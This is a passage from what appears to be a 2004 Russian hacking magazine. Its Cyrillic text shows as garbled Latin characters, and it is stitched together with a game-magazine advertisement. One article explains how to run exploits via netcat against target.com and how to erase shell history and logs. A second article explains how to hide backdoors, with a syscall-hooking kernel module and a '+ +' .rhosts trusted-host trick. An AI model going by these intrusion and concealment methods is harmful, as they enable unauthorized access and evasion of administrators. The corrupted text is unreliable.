ìè nobody. Òåïåðü íå ïîìåøàëî áû
ñêîìïèëèòü ñïëîèò. Äåëàåòñÿ îáû÷íî
ýòî òàê: gcc /tmp/exploit.c �o
/tmp/exploit. Òåïåðü òåëíåòèìñÿ íà
31337 ïîðò target.com. Â äàííîì ñëó-
÷àå, åñëè íåò æåëàíèÿ ñòàâèòü ";" ïîñ-
ëå êàæäîé êîìàíäû è âèäåòü âñå áî-

ëåå ïðèãëÿäíî, ìîæíî èñïîëüçîâàòü
netcat (http://nsd.ru/soft/nc11nt.zip).
Ñèíòàêñèñ òàêîâ: nc.exe target.com
31337. Òåïåðü âûïîëíÿåì ýêñïëîèò...
Ïîñëå êàæäîé êîìàíäû íå çàáûâàåì
ââåñòè «;» (åñëè òû ïîëåíèëñÿ þçàòü
netcat è þçàåøü îáûêíîâåííûé tel-
net). Íàïðèìåð, ÷òîáû âûïîëíèòü êî-
ìàíäó ls /tmp, íàäî ââåñòè «ls /tmp;».

0-DAY, PRIVATE
È FAKE XPLOITS

Private Xploits � ëè÷íûå ýêñïëîè-
òû. Î íèõ íèêòî íè÷åãî íå çíàåò,
êðîìå àâòîðà è óçêîãî êðóãà åãî
äðóçåé. Èíîãäà ñëó÷àþòñÿ óòå÷êè, è
ëè÷íîå ïðåâðàùàåòñÿ â îáùåå, íà-
çûâàþùååñÿ 0-day, 0-day xploits -
ýòî íîâèíêè. Ïðèâàòíûå è 0-day
ýêñïëîèòû î÷åíü öåíÿòñÿ, ïîòîìó

÷òî ñîçäàòåëè ïðîãðàììíîãî îáåñ-
ïå÷åíèÿ åùå íå ïîäîçðåâàþò îá
îøèáêå è â ñåòè íàõîäÿòñÿ ñîòíè,
òûñÿ÷è, ìèëëèîíû ìàøèí ñ ýòîé
óÿçâèìîñòüþ, î êîòîðîé ïî÷òè íèêòî
íå çíàåò. Îäíèì ñëîâîì, ýòî âåëè-
÷àéøèé ðóëåç. Ïðèêèíü, êàêîé ìîæ-
íî ñîçäàòü áîòíåò, åñëè óÿçâèìîñòü
ðàñïðîñòðàíåííàÿ, à õàêåðîâ, êîòî-
ðûå î íåé çíàþò, âñåãî íåñêîëüêî?

Îòäåëüíî ñòîèò ïîãîâîðèòü î
fake-ýêñïëîèòàõ, êîòîðûå âñå ÷àùå
è ÷àùå âñòðå÷àþòñÿ. Ôýéêè � ýòî,
ïî ñóòè, îáìàí, êîòîðûé èíîãäà áû-
âàåò áåçâðåäíûì, à â íåêîòîðûõ
ñëó÷àÿõ ñîäåðæèò â ñåáå âûãîäó
äëÿ ñîçäàòåëÿ, íàïðèìåð, äîáàâëÿ-
åò åùå îäíîãî çîìáè â åãî áîòíåò,
à íà ýêðàí èñïîëüçóþùåãî åå çàêå-
ðà âûäàåò ñîîáùåíèå î òîì, ÷òî
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Ìàëåíüêèé ìîíñòð

Ðàáîòà ñ bind.pl ÷åðåç telnet

XPLOITS. HOW TO?34 ÂÇËÎÌ

Âñåãäà äóìàé î ñâîåé áåçîïàñíîñòè! Íèêîãäà íå ìåøàåò èñïîëü-
çîâàòü ñîêñû äëÿ ïîäêëþ÷åíèÿ ê óäàëåííîé ñèñòåìå. Åñëè ó òåáÿ
âîçíèêíóò çàòðóäíåíèÿ ñ âûáîðîì òåðìèíàëà äëÿ ýòèõ öåëåé, ÿ ïî-
ñîâåòóþ òåáå PuTTY: îí óìååò ðàáîòàòü ÷åðåç ïðîêñè- è ñîêñ-ñåð-
âåðà, à òàêæå èìååò ìíîæåñòâî ïîëåçíûõ ôóíêöèé, êîòîðûå íàâåð-
íÿêà òåáå ïðèãîäÿòñÿ. Íå íóæíî çàáûâàòü ÷èñòèòü ëîãè, âåäü îíè �
äîêàçàòåëüñòâî ïðèñóòñòâèÿ â ñèñòåìå. Íå çàáóäü ïî÷èñòèòü
.bash_history, åñëè òû çàøåë êàê îáû÷íûé ïîëüçîâàòåëü ÷åðåç
ñòàíäàðòíûé ssh èëè telnet. Ýòîò ôàéëèê îáû÷íî íàõîäèòñÿ â äî-
ìàøíåé äèðåêòîðèè ïîëüçîâàòåëÿ è, êàê òû óæå çàìåòèë, ÿâëÿåòñÿ
ñêðûòûì (ïåðåä èìåíåì ôàéëà ñòîèò «.»). Â õèñòîðè ñîäåðæàòñÿ
âñå êîìàíäû, êîòîðûå òû âûïîëíÿë. È çàïîìíè: õèñòîðè çàïèñûâà-
åòñÿ â ôàéë òîëüêî ïîñëå òîãî, êàê òû ñäåëàåøü ëîã-àóò. Åñòü è
äðóãîé âàðèàíò ðåøåíèÿ ýòîé ïðîáëåìû: ïîñëå âõîäà â ñèñòåìó âû-
ïîëíèòü êîìàíäó "UNSET .HISTFILE".

Ýêñïëîèòû íå ðàñòóò íà ýêñïëîèòíîì äåðåâå è ñàìè ê òåáå íå
ïðèëåòÿò (çà èñêëþ÷åíèåì fake :)). Ëó÷øå ñëèâàòü èõ ñ ïîïóëÿðíûõ
ðåñóðñîâ, òàêèõ, êàê http://www.securitylab.ru, hhttp://packetstorm-
security.nl, hhttp://security.nnov.ru.

ÃÄÅ ÆÅ ÁÐÀÒÜ ÝÊÑÏËÎÈÒÛ

Ñêðèïòû,
íàïèñàííûå
íà Perl,
ñëåäóåò çà-
ëèâàòü â
òåêñòîâîì
ðåæèìå è
óñòàíàâëè-
âàòü íà íèõ
chmod 755
èëè 777.
Äëÿ òîãî
÷òîáû
ýêñïëîèò âû-
ïîëíèëñÿ, åãî
òîæå íåîáõî-
äèìî ïðîch-
mod�èòü êàê
+x (chmod
xploit +x).

Áóäü ïðå-
äåëüíî îñ-
òîðîæåí,
ïðîâåðü êî-
ìàíäîé fin-
ger è w, íåò
ëè â ñèñòå-
ìå àêòèâ-
íûõ àäìè-
íèñòðàòî-
ðîâ.



ñèñòåìà íå ïîäâåðæåíà àòàêå, èëè
ïðîñòî Segmentation Fault. Core
dumped ;). Ñóùåñòâóþò öåëûå ãðóï-
ïû, êîòîðûå ïðîìûøëÿþò ïðîäà-
æåé ÿêîáû «0-day», çà êîòîðûìè íà
ñàìîì äåëå ñêðûâàþòñÿ ôåéêè. Èõ
íóæíî îïàñàòüñÿ è ïåðåä èñïîëü-
çîâàíèåì ýêñïëîèòà âíèìàòåëüíî
èçó÷èòü èñõîäíèê. Åñëè îí ñîäåð-
æèò øåñòíàäöàòåðè÷íûå âñòàâêè,

íóæíî ðàñøèôðîâàòü èõ, èáî çà
íèìè ìîæåò ñêðûâàòüñÿ òðîÿí.

ÏÎÈÑÊ ÓßÇÂÈÌÎÑÒÅÉ
Îòäåëüíî õîòåëîñü áû ïîãîâî-

ðèòü î ïîèñêå óÿçâèìîñòåé. Ïîðîé
î÷åíü òðóäíî îïðåäåëèòü, êàêîé
ñîôò ñòîèò íà óäàëåííîé ñèñòåìå,
îñîáåííî êîãäà íå èìååøü ê íåé äà-
æå ìàëåéøåãî äîñòóïà. Íà ïîìîùü
ïðèõîäÿò ðàçëè÷íûå ñêàíåðû, íàï-
ðèìåð, Retina, Shadow Security
Scanner, XSpider. Ñêàíèðîâàíèå èìè
äàñò èñ÷åðïûâàþùóþ èíôîðìàöèþ
îá óäàëåííîé ñèñòåìå.

ÇÀÊËÞ×ÅÍÈÅ
Âîò, íàâåðíîå, è âñå, ÷òî ÿ õîòåë

ðàññêàçàòü îá ýêñïëîèòàõ. Ýòîé èíôîð-
ìàöèÿ äîñòàòî÷íî äëÿ áîëüøîãî íà÷è-
íàíèÿ. Æåëàþ óäà÷è, è ïóñòü òâîè áîëü-
øèå çíàíèÿ ïîñëóæàò áëàãèì öåëÿì. 

ÁËÀÃÎÄÀÐÍÎÑÒÜ
Àâòîð âûðàæàåò áëàãîäàðíîñòü

NSD (nsd@nsd.ru) çà ñêðèíøîòû. E
Òèïè÷íûé fake-ýêñïëîèò

Äà, ÷àñòî òàêîå áûâàåò. Â áîëüøèíñòâå ñëó÷àåâ ýòî âèíà ïðîã-
ðàììèñòîâ - îíè íå ñóìåëè ãðàìîòíî çàòî÷èòü êîíå÷íûé ïðîäóêò
ïîä âñå âåðñèè êîìïèëÿòîðîâ. Òàêæå ïðè÷èíàìè ìîãóò ÿâëÿòüñÿ îò-
ñóòñòâèå íåîáõîäèìîé áèáëèîòåêè è ñáîðêà ñ íåïðàâèëüíûìè ôëà-
ãàìè. Èíîãäà ýêñïëîèò òðåáóåòñÿ ïîäïðàâèòü ðó÷êàìè, ïîýòîìó íå-
îáõîäèìû õîòÿ áû ýëåìåíòàðíûå íàâûêè ïðîãðàììèðîâàíèÿ íà C.

ÍÅ ÊÎÌÏÈËÈÒÑß?

www.securitylab.ru, wwww.security.nnov.ru, wwww.packetstormsecuri-
ty.nl � ñàìûå ëó÷øèå ðåñóðñû ïî áåçîïàñíîñòè, ñàìûå ñâåæèå
áàãòðàêè, ñåêüþðèòè-ðåïîðòû è îáñóæäåíèÿ.
www.nsd.ru � òóò òû òîæå ñìîæåøü ïî÷åðïíóòü ìíîãî èíòåðåñíîãî.
www.bugtraq.ru � õîðîøèé áàãòðàê, ÷àñòî îáíîâëÿåòñÿ.
www.google.ru � ïðåâîñõîäíûé ïîèñêîâèê. Íàø âûáîð.
www.xakep.ru � ìåãàðåñóðñ ;).

ÑÑÛËÊÈ

Ýêñïëîèòíîå "äåðåâî"

ÅÑËÈ ÒÒÛ ÃÃÅÉÌÅÐ ��

ÒÛ ÍÍÅ ÏÏÐÎÏÓÑÒÈØÜ!

èëèèëè

Â ÏÐÎÄÀÆÅ Ñ 22 ÑÅÍÒßÁÐß

THE SIMS 2
Ýêñêëþçèâíûé îáçîð òîëüêî â íàøåì
æóðíàëå

ÀËÅÊÑÀÍÄÐ
GSC äåëàåò èãðó äëÿ UBISOFT

ÄÀËÜÍÎÁÎÉÙÈÊÈ 3
Ïî÷åìó íàì ïðåäñòîèò ïîêîðÿòü Àìåðèêó?

ÑÏÅÖÒÅÌÀ
Ðàññêàç î Ìîñêîâñêîé Ôèôà Ëèãè, îò÷åò î
ïîåçäêå íà Games Convention è
ôåñòèâàëå "Ñëèÿíèå"

ÐÅÖÅÍÇÈÈ
Îáçîð 18 èãð

ÄÍÅÂÍÈÊÈ ÐÀÇÐÀÁÎÒ×ÈÊÎÂ
Ñîçäàòåëè "Ìåòðî-2", "Êàçàêîâ 2",
"Êîðñàðîâ II" è S.T.A.L.K.E.R.'à
ðàññêàçûâàþò î ïðîäåëàííîé çà ìåñÿö ðàáîòå

Íèêàêîãî ìóñîðà è íåâíÿòíûõ òåì,
í à ñ ò î ÿ ù è é  ã å é ì å ð ñ ê è é  ð à é
Ò Î Ë Ü Ê Î  P C  È Ã Ð Û

Ïðàâèëüíûé æóðíàë 

î êîìïüþòåðíûõ èãðàõ

Ïðàâèëüíûé îáúåì 224 ñòðàíèö

Ïðàâèëüíàÿ êîìïëåêòàöèÿ

3 CD èëè DVD

Ïðàâèëüíàÿ öåíà
Ð Ó Á Ë Å É
110



Àäèëü Õàøòàìîâ (adi1@ok.kz, http://unl0ck.blackhatz.info)

Ï îñëå âçëîìà ñèñòåìû ÷ðåçâû÷àéíî ñëîæíî îñòàâèòü òàì íåçàìåòíûé ÷åðíûé õîä. Îïûòíûå àäìèíèñòðàòîðû î÷åíü
áûñòðî îáíàðóæèâàþò âñå èçâåñòíûå è íåèçâåñòíûå áýêäîðû. Î òîì, êàê ïåðåõèòðèòü àäìèíà è ñêðûòü

ïðèñóòñòâèå ëàçåéêè â ñèñòåìå, è ïîéäåò ðå÷ü â ýòîé ñòàòüå.

ÍÅÂÈÄÈÌÎÑÒÜ 
Â *NIX
ÎÁÇÎÐ STEALTH-ÌÅÕÀÍÈÇÌÎÂ ÁÝÊÄÎÐÎÂ

àâàé ïîäóìàåì, ÷åì
ïðîñòåéøèé áýêäîð ìî-
æåò âûäàòü ñâîå ïðèñó-
òñòâèå. 

Âî-ïåðâûõ, îí ñóùå-
ñòâóåò êàê ôàéë. Àäìèíèñòðàòîð ñïî-
ñîáåí îáíàðóæèòü åãî ñ ïîìîùüþ
ýëåìåíòàðíîé óòèëèòû ls è ïðîñòî-
íàïðîñòî ñòåðåòü, ÷òî íàñ íè â êîåé
ìåðå íå óñòðàèâàåò.

Âî-âòîðûõ, åñëè áýêäîð çàïóùåí è
ðàáîòàåò, òî îí ïðèñóòñòâóåò â ñèñòå-
ìå êàê ïðîöåññ. Ñîîòâåòñòâåííî, ìî-
æåò áûòü îáíàðóæåí àäìèíîì ñ ïî-
ìîùüþ óòèëèòû ps, âûâàëèâàþùåé â
êîíñîëü ñïèñîê ïðîöåññîâ.

Â-òðåòüèõ, ÷åðíûé õîä "âèñèò" íà êà-
êîì-òî ïîðòó è æäåò âõîäÿùåãî ñîåäè-
íåíèÿ äëÿ òîãî, ÷òîáû îòêðûòü êîìà-
íäíûé øåëë âçëîìùèêó, èç-çà ÷åãî
ìîæåò áûòü îáíàðóæåí ìàññîé ðàç-
ëè÷íûõ ñïîñîáîâ, ñàìûì ïðîñòûì èç
êîòîðûõ ÿâëÿåòñÿ àíàëèç ðåçóëüòàòà
ðàáîòû óòèëèòû netstat.

Êàæåòñÿ, ÷òî ïðîùå áýêäîð óäàëèòü
è çàáûòü îá èäåå îñòàòüñÿ íåçàìå÷åí-
íûì :). Íå âñå òàê ïå÷àëüíî. Íåñïðîñ-
òà æå èçâîðîòëèâûé õàêåðñêèé óì
èçîáðåë îãðîìíîå êîëè÷åñòâî ñïîñî-
áîâ ñîêðûòèÿ ïðèñóòñòâèÿ ëàçåéêè îò
ëþáîãî, äàæå ñàìîãî õèòðîãî àäìèíà.

ÏÐß×ÅÌ ÏÐÎÖÅÑÑ È ÔÀÉË
Àëãîðèòìû ñîêðûòèÿ áýêäîðà îò

óòèëèò ps è ls ïðàêòè÷åñêè èäåíòè÷íû,
ïîýòîìó ÿ ðàçáåðó òîëüêî ñëó÷àé ìàñ-
êèðîâêè ïðîöåññà. Íàäåþñü, ÷òî ñ
ìàñêèðîâêîé ôàéëà ó òåáÿ òðóäíîñòåé
íå âîçíèêíåò.

Åñòü îùóùåíèå, ÷òî àäìèíèñòðàòî-
ðû ñìîòðÿò ïåðâûì äåëîì èìåííî â
âûâîä óòèëèòû ps, êîãäà ó íèõ âîçíè-
êàåò ïîäîçðåíèå, ÷òî èõ ñèñòåìîé
ïîëüçóåòñÿ òîò, êòî íå èìååò ïðàâà
ýòîãî äåëàòü. Íàøà çàäà÷à ñäåëàòü

òàê, ÷òîáû àäìèí íå îáíàðóæèë â
ñïèñêå ïðîöåññîâ íè÷åãî ïîäîçðè-
òåëüíîãî. Åñòü ìíîæåñòâî ñïîñîáîâ
ðåøèòü ýòó çàäà÷ó, íî ìû ðàññìîòðèì
ñàìûå ïîïóëÿðíûå. 

Ïåðâûé ñïîñîá çàêëþ÷àåòñÿ â êîð-
ðåêòèðîâêå èñõîäíîãî êîäà óòèëèòû,
îòâåòñòâåííîé çà âûâîä ñïèñêà ïðî-
öåññîâ. Òî åñòü ìû äîëæíû áóäåì
íàéòè ñîðöû ps, â íèõ îáíàðóæèòü
ôóíêöèþ, êîòîðàÿ âûâîäèò ïðîöåññû
íà ýêðàí, è ïóòåì íåäîëãèõ ïðåîáðà-
çîâàíèé çàñòàâèòü çàáûòü åå î íàøåì
áýêäîðå. Òðóäíîñòåé âñòðåòèòñÿ öåëàÿ
êó÷à: âî-ïåðâûõ, ïðèäåòñÿ ðûòüñÿ â
÷óæèõ ñîðöàõ, à õóæå, ÷åì êîïàòüñÿ â
èñõîäíûõ êîäàõ ñèñòåìíûõ þíèêñî-
âûõ óòèëèò, íè÷åãî íå ïðèäóìàåøü;
âî-âòîðûõ, ðåàëèçàöèÿ äëÿ êàæäîé
*nix-ñèñòåìû áóäåò íîâàÿ, èáî ÿ ñîì-
íåâàþñü, ÷òî ps âåçäå îäèíàêîâàÿ. 
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Ìàññó ïî-
ëåçíîé èí-
ôîðìàöèè è
ïðîãðàìì
òû ìîæåøü
íàéòè íà
www.packet-
stormsecuri-
ty.nl.

Áýêäîð �
÷åðíûé õîä
â ñèñòåìó.

Ñïèñîê ïðîöåññîâ

Ñïèñîê ñîåäèíåíèé

ÍÅÂÈÄÈÌÎÑÒÜ Â *NIX36 ÂÇËÎÌ

Êàæåòñÿ, ÷òî ïðîùå áýêäîð 
óäàëèòü è çàáûòü îá èäåå îñòàòüñÿ

íåçàìå÷åííûì :).



Òàêæå ìîæíî âîñïîëüçîâàòüñÿ äðó-
ãèì ïðèåìîì, ñîñòîÿùèì â ìàñêèðîâ-
êå ñîçäàííîãî áýêäîðîì ïðîöåññà.
Ýòî ñàìûé ïðîñòîé â ðåàëèçàöèè
ñïîñîá. Ïîòðåáóåòñÿ íàïèñàòü ïðîã-
ðàììó, ïîëíîñòüþ çàìåíÿþùóþ ps,
êîòîðàÿ âûïëåâàëà áû âñåãäà îäèí è
òîò æå òåêñò. Ïîñëå âçëîìà çàïîìíèì
ñïèñîê "ïîñòîÿííî âèñÿùèõ" ïðîöåñ-
ñîâ, çàïèøåì åãî, íàïðèìåð, â ôàéë,
êîòîðûé è áóäåì âûâîäèòü âñÿêèé
ðàç ïðè çàïóñêå óòèëèòû. Ïðèìåíå-
íèå äàííîãî ñïîñîáà íå òðåáóåò îò
õàêåðà ãëóáîêèõ ïîçíàíèé â ïðîãðàì-

ìèðîâàíèè, õâàòèò è øêîëüíîãî êóð-
ñà. Âåäü â ïðîãðàììó âñåãî òî è íàäî,
÷òî ïîíàïèõàòü ôóíêöèé printf().
Æàëü òîëüêî, ÷òî ëþáîé íîðìàëü-
íûé àäìèí â çäðàâîì óìå è òðåçâîé
ïàìÿòè çàïîäîçðèò íåëàäíîå ñðàçó
æå ïîñëå âòîðîãî çàïóñêà ps.

Íó è, íàêîíåö, ñàìûé èíòåðåñíûé
ñïîñîá. Êîãäà óòèëèòà ps ïûòàåòñÿ
âûâåñòè âñå çàïóùåííûå â äàííûé
ìîìåíò â ñèñòåìå ïðîöåññû, îíà îá-
ðàùàåòñÿ ê ÿäðó ñ íåêîòîðûì ñèñòåì-
íûì çàïðîñîì. Àíàëèçèðóÿ îòâåò ÿä-
ðà, îíà ñîñòàâëÿåò ñïèñîê è âûáðà-
ñûâàåò åãî íà ýêðàí. Ñïîñîá ìàñêè-
ðîâêè áýêäîðà â äàííîì ñëó÷àå áó-
äåò çàêëþ÷àòüñÿ â «îáðàáîòêå» ýòî-
ãî ñàìîãî ñèñòåìíîãî îòâåòà.

Ãðóáî ãîâîðÿ, òðåáóåòñÿ ïåðåõâà-
òèòü ñèñòåìíûé âûçîâ è ïîäìåíèòü
åãî íà ôàëüøèâûé, â êîòîðîì áóäóò
îòñóòñòâîâàòü âñÿ÷åñêèå äàííûå î
íàøåì áýêäîðå. Îñóùåñòâèòü ýòî
ìîæíî, íàïèñàâ Loadable Kernel
Module (LKM), ìîäóëü, ïîäãðóæàå-
ìûé ê ÿäðó ñèñòåìû. Îí ïîäìåíèò çà-
ïèñü â òàáëèöå ñèñòåìíûõ âûçîâîâ,
â ðåçóëüòàòå ÷åãî âñå çàïðîñû áóäóò
ïåðåäàâàòüñÿ íå ñòàíäàðòíîé ôóíê-
öèè, âûäàþùåé ñïèñîê ïðîöåññîâ, à
íàøåé õèòðîé ïðîöåäóðêå. Ïîõîæèé
ìîäóëü áûë íàïèñàí stan'îì èç êî-
ìàíäû unl0ck team, íî, ê ñîæàëåíèþ,
îí íå çàõîòåë äåëèòüñÿ ñ íàðîäîì
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Áýêäîð â äåéñòâèè

Ñèñòåìíûå âûçîâû óòèëèòû ps

Òðåáóåòñÿ ïåðåõâàòèòü 
ñèñòåìíûé âûçîâ è ïîäìåíèòü 

åãî íà ôàëüøèâûé.

#include <linux/module.h>
#include <linux/kernel.h>
#include <sys/syscall.h>
/* linux ps fake utility.
*
* if fake ps doesn't work, try below

SYS_CALLS
*
* 1. SYS_rt_sigaction
* 2. SYS_rt_sigprocmask
* 3. SYS_clone
*
* the main hook function is fakepid();

this function try to
* hook SYS_call = SYS_waitpid, then

programm print some inte
* resting message to the screen :)
*
* (c) by stan [unl0ck team] 2004
*/
extern void *sys_call_table[];
int (*origpid)(const char *path);
int fakepid(const char *path)

{
printk("No proccess found!");
return 0;

}
int init_module(void)
{
origpid = sys_call_table[SYS_waitpid];

sys_call_table[SYS_waitpid] =
fakepid;

printk("Module successfully
loaded!");
return(0);

}
void cleanup_module(void)
{
sys_call_table[SYS_waitpid] = origpid;

printk("Module successfully
unloaded!");
}

LOADABLE KERNEL MODULE

»



Ïåðåõâàò
ñèñòåìíûõ
âûçîâîâ �
ñàìûé óâà-
æàåìûé â
õàêåðñêèõ
êðóãàõ ñïî-
ñîá ñîêðû-
òèÿ áýêäîðà
îò óòèëèò
îïåðàöèîí-
íîé ñèñòå-
ìû.

ïîëíîöåííîé ïðîãðàììîé, ïîýòîìó
íàïèñàë íåêèé PoC, êîòîðûé çàñòàâ-
ëÿåò ïðîãðàììó ps è åé ïîäîáíûå
âûâîäèòü ñîîáùåíèå î òîì, ÷òî â
ñèñòåìå ïðîöåññîâ íåò êàê òàêîâûõ.
Íåìíîãî ïîäêîððåêòèðîâàâ êîä ìî-
äóëÿ (òû íàéäåøü åãî íà CD, ïðèëà-
ãàþùåìñÿ ê æóðíàëó) è äîáàâèâ â
íåãî ôóíêöèþ ïîèñêà è ñîêðûòèÿ
íóæíîãî íàì ïðîöåññà, ìîæíî äî-
áèòüñÿ ñàìîé êà÷åñòâåííîé ìàñêè-
ðîâêè ñâîåãî áýêäîðà.

Äîñòîèíñòâà ýòîãî ñïîñîáà î÷å-
âèäíû. Àäìèíèñòðàòîð íå ñìîæåò
îáíàðóæèòü íèêàêèõ èçìåíåíèé â
ðàçìåðå ôàéëà óòèëèòû ps, êàê â
ñëó÷àå ñ åå ïîäìåíîé. À åñëè âäðóã
îí âîñïîëüçóåòñÿ êàêîé-íèáóäü ñòî-
ðîííåé ïðîãðàììîé äëÿ ñëåæåíèÿ
çà çàïóùåííûìè ïðîöåññàìè, òî è
åå âûçîâ íå âûäàñò íàøåãî áýêäî-
ðà, èáî ÿäðî îäíî, à ðàáîòàþò ïî-
äîáíûå ïðîãðàììêè ïî îäíîìó è òî-
ìó æå ïðèíöèïó. Çäîðîâî!

Âïðî÷åì, ó ýòîãî ìåòîäà åñòü è íå-
äîñòàòêè, ãëàâíûì îáðàçîì, ñëîæíîñòü
ðåàëèçàöèè. Âåäü, ÷òîáû íàïèñàòü òà-
êîé LKM èëè ïîäêîððåêòèðîâàòü óæå
èìåþùèéñÿ íà âðåçêå, íóæíî íåõèëî
ðàçáèðàòüñÿ â ïðîãðàììèðîâàíèè ìî-
äóëåé, à ýòèì ìîæåò ïîõâàñòàòüñÿ äà-
ëåêî íå êàæäûé ïðîãðàììåð.

Äóìàþ, ñ ñîêðûòèåì ïðîöåññà áýê-
äîðà, à òàêæå ôàéëà, ìàñêèðîâêà
êîòîðîãî ðåàëèçóåòñÿ ïî àíàëîãèè,
ìû ðàçîáðàëèñü, è ìîæíî ïðèñòó-
ïèòü ê ñàìîé îòâåòñòâåííîé ÷àñòè
ìàòåðèàëà. 

ÏÐß×ÅÌ ÑÎÅÄÈÍÅÍÈÅ
Êàæäîìó þíèêñîèäó èçâåñòíî, ÷òî

äëÿ ïðîñìîòðà ñïèñêà îòêðûòûõ ñîå-
äèíåíèé â ñèñòåìå ïðèìåíÿåòñÿ óòè-
ëèòà netstat. Åñëè áóäåò èñïîëüçîâàí
îáû÷íûé áýêäîð, êîòîðûé îòêðûâàåò
øåëë íà çàäàííîì TCP-ïîðòó, ïåðâûé
æå çàïóñê ýòîé ïðîãðàììêè âûäàñò
âçëîìùèêà ñ ãîëîâîé. Êàê æå óêðûòü-
ñÿ îò netstat? Àíàëîãè÷íî ñèòóàöèè ñ
ps, ñïîñîáîâ î÷åíü ìíîãî.

Îäèí èç íèõ, êàê ýòî íè ïàðàäîêñàëü-
íî, î÷åíü ïîïóëÿðíûé, çàêëþ÷àåòñÿ â
òàêîé êîððåêòèðîâêå ñàìîé óòèëèòû,
êîòîðàÿ áû íå ïîçâîëÿëà åé ïîêàçû-
âàòü íàøå ñîåäèíåíèå. Äëÿ ðåàëèçà-
öèè ýòîãî ñïîñîáà ïîòðåáóåòñÿ îòûñ-
êàòü ñîðöû netstat â ñåòè è êàê ñëåäó-
åò èõ ïåðåëîïàòèòü. Ïî-ìîåìó, òàêîå
è â êîøìàðíîì ñíå íå ïðèñíèòñÿ.
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ÕÀÊÅÐÑÏÅÖ   10(47)    2004

Íå ñòîèò
çàáûâàòü,
÷òî ëþáîé,
äàæå ñàìûé
õîðîøèé
áýêäîð ìî-
æåò âûäàòü
ñâîå ïðèñó-
òñòâèå îã-
ðîìíûì
òðàôèêîì.

ÍÅÂÈÄÈÌÎÑÒÜ Â *NIX38 ÂÇËÎÌ

Ñëó÷àåòñÿ òàê, ÷òî îïûòíûé àäìèíèñòðàòîð óõèòðÿåòñÿ âûëîâèòü
stealth-áýêäîð, äàæå åñëè â íåì ïðèìåíÿþòñÿ âñå ïåðå÷èñëåííûå
çäåñü ìåõàíèçìû. Ïðîäâèíóòûå àäìèíû íàïðèäóìûâàëè êó÷ó ñà-
ìûõ ðàçíûõ ïðèåìîâ âûëîâèòü ãàäà. Îíè èñïîëüçóþò ñíèôåðû è
àíàëèçèðóþò òðàôèê íà ïðåäìåò ÷åãî-òî ïîäîçðèòåëüíîãî, óñòàíàâ-
ëèâàþò æåñòêóþ ïîëèòèêó áðàíäìàóýðîâ. Ñî âñåì ýòèì î÷åíü ñëîæ-
íî áîðîòüñÿ ñòàíäàðòíûìè ìåòîäàìè. Â òàêîé ñëîæíîé ñèòóàöèè
åñòü îòëè÷íûé ñïîñîá îñòàòüñÿ íåçàìå÷åííûì. Ìîæíî íåìíîãî ïîä-
êîððåêòèðîâàòü êàêîé-íèáóäü ñåðâèñíûé äåìîí. Íàïðèìåð, íàïè-
ñàòü ïàò÷ ê ssh, ïîçâîëÿþùèé áåñïðåïÿòñòâåííî ïðîíèêíóòü â ñèñ-
òåìó áåç àóòåíòèôèêàöèè è ïðî÷èõ øòó÷åê. Íè÷åãî îñîáåííî òðóä-
íîãî çäåñü íåò, íóæíî ëèøü íåìíîãî ðàçáèðàòüñÿ â êîäèíãå.

Åñòü åùå áîëåå ïðîñòîé ñïîñîá - ïðîõîä â ñèñòåìó ïîñðåäñòâîì äî-
âåðåííûõ õîñòîâ. Ìíîãèå ñåòåâûå äåìîíû, òàêèå, êàê sshd, rlogin,
rshd, ïðè ñîåäèíåíèè ñ êåì-ëèáî îáðàùàþòñÿ ê ôàéëàì ~/.rhost,
/.rhost (uid=0 auth), /etc/host.equiv, ~/.shosts, ïðîâåðÿÿ, íåò ëè òàì
àäðåñà ñîåäèíÿþùåãîñÿ ñ íèìè ïîëüçîâàòåëÿ, è åñëè åñòü, òî äîêó-
ìåíòû ó íåãî íå ñïðîñÿò. Òî åñòü, åñëè íàì âïèñàòü â âûøåïåðå÷èñ-
ëåííûå ôàéëû íåêèé õîñò, òî îí áóäåò ïðîïóùåí íà ñåðâåð áåç àó-
òåíòèôèêàöèè. À åñëè â ýòîì ôàéëå áóäåò ïàðà "+ +", òî íà ñåðâåð
ñìîæåò âîéòè âîîáùå ëþáîé õîñò áåç ïðåäâàðèòåëüíîé àóòåíòèôè-
êàöèè. Â ýòîì ñëó÷àå ìîæåò î÷åíü ïðèãîäèòüñÿ crontab äëÿ òîãî,
÷òîáû ïîñòàâèòü òî÷íîå âðåìÿ, êîãäà íóæíî ñîçäàâàòü/óäàëÿòü
ôàéë äîâåðåííûõ õîñòîâ � ìû æå íå õîòèì, ÷òîáû àäìèíèñòðàòîð
íàñ çàñåê. Ïðè ýòîì ñëåäóåò ïîìíèòü, ÷òî ïåðåä óõîäîì ñ ñåðâåðà
íóæíî ïî÷èñòèòü ëîãè. Íî íå ïîëíîñòüþ óäàëÿòü, à àêêóðàòíî ïîä-
ðåçàòü çàïèñè, îñòàâëåííûå ñèñòåìîé òîëüêî î ñîáñòâåííûõ ãðÿç-
íûõ äåëèøêàõ :).

ÕÈÒÐÎÑÒÈ Ñ ÄÅÌÎÍÀÌÈ

Ìîäóëü â äåéñòâèè

Ñèñòåìíûå âûçîâû óòèëèòû netstat

Àäìèíèñòðàòîð íå ñìîæåò îáíàðóæèòü
íèêàêèõ èçìåíåíèé â ðàçìåðå ôàéëà

óòèëèòû ps.



Óìíûé àä-
ìèí ìîæåò
ðåãóëÿðíî
ñ÷èòàòü
MD5-õýøè
îò âñåõ
ôàéëîâ â
ñèñòåìå. Îí
áåç òðóäà
ìîæåò çà-
ìåòèòü èç-
ìåíåíèÿ â
ñèñòåìíûõ
óòèëèòàõ.

Äðóãîé ñïîñîá - íàïèñàòü LKM, êîòî-
ðûé áû ïåðåõâàòûâàë ñèñòåìíûå âû-
çîâû óòèëèòû netstat. Ýòî âîîáùå ñà-
ìûé ëó÷øèé ïîäõîä ê ðåäàêòèðîâà-
íèþ âûâîäà ëþáûõ ñèñòåìíûõ óòèëèò,
áóäü òî ps èëè netstat. Îí íåìíîãî
ñëîæåí â ðåàëèçàöèè, íî, åñëè çíàòü,
êóäà êîïàòü - êàêèå ñèñòåìíûå âûçî-
âû â êàêèõ ñëó÷àÿõ ïåðåõâàòûâàòü, òî
ñïðàâèòüñÿ ìîæíî.

Äîïóñòèì, íàì óäàëîñü ñêðûòü áýê-
äîð èç ñïèñêà îòêðûòûõ ñîåäèíåíèé.
À ÷òî, åñëè àäìèíèñòðàòîð ïðîâåðÿ-
åò ñâîþ ñèñòåìó íå ëîêàëüíî, à, íàï-
ðèìåð, óäàëåííî ñ ïîìîùüþ ðàçëè÷-
íûõ ïðîãðàìì âðîäå nmap? Òîãäà
